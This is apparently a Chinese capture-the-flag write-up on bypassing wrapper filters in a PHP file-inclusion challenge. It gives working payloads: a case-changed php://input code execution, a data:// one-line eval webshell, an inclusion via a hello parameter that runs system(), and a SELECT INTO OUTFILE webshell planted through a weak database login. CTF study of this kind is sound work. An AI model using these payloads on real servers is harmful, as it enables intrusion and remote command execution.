PHP文件包含漏洞-绕过过滤的姿势
如图,过滤了php常用的伪协议
1.大小写绕过
Php://input
抓包,并在数据包中写入<?php system('ls'); ?>查看目录下文件
发现存在fl4gisisish3r3.php的文件,使用system('cat fl4gisisish3r3.php')读取
2.用data伪协议写入一句话木马
payload:?page=data://text/plain,<?php @eval($_POST['pass']);?>
蚁剑连接没问题,奇怪的姿势增加了
当然也可以用data伪协议,使用第一种方法慢慢找flag
3.用hello输出flag
1.审计php代码,while函数根据page参数来判断php文件是否存在,如果存在此文件,则进行文件包含。
2.默认页面为http://127.0.0.1/index.php
,设置为page值,可确保while为真
3.利用hello参数将执行内容显示
paylaod:?page=http://127.0.0.1/index.php/?hello=<?system('ls');?>
?page=http://127.0.0.1/index.php/?hello=<?show_source('fl4gisisish3r3.php');?>
4.数据库写入
扫描后台
弱口令(甚至没有密码)
payload:select "<?php eval(@$_POST['ctf']); ?>"into outfile '/tmp/test.php'
需要自己去寻找路径
之后蚁剑连接,也得到了flag,
奇怪的姿势又增加了
[Sign]做不出ctf题的时候很痛苦,你只能眼睁睁看着其他人领先你